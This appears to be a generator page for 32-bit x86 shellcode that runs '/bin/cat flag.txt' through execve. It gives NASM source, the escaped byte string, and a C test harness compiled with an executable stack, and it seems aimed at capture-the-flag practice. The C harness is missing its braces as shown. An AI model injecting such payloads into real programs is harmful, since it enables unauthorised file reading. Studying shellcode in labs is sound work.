/bin/cat Shellcode generator October 3, 2019

/bin/cat [your_file] Shellcode generator for intel x86

File name to read :

This is your shellcode :

bits 32
global main


xor    eax,eax     ; set eax to 0
push   eax         ; end of string
push   0x7461632f  ;"tac/"
push   0x6e69622f  ;"inb/"
mov    ebx,esp
push   eax         ; end of string
push   0x7478742e
push   0x67616c66
mov    ecx,esp
push   eax  ; null
push   ecx  ; file
push   ebx  ; /bin/cat
mov    ecx,esp ; {/bin/cat,file,null}
xor eax,eax
add eax,0xb
int 0x80
Note for myself : ".txt" = 0x7478742e (reverse) but opcode are in "normal" order : 2e 74 78 74

Test the shellcode (Assembly)

Paste the above opcodes into "cat.asm"
$ echo "Content of file" >> flag.txt
$ nasm -felf32 -o cat.o cat.asm 
$ gcc -o cat cat.o -m32
$ ./cat
Content of file

Test the shellcode (C)


/* shellcode goes here : */
char code[] = "\x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2e\x74\x78\x74\x68\x66\x6c\x61\x67\x89\xe1\x50\x51\x53\x89\xe1\x31\xc0\x83\xc0\x0b\xcd\x80";

int main()
    (*(void(*)()) code)();
    return 0;
Compile with :
gcc -o shelltest shelltest.c -z execstack -m32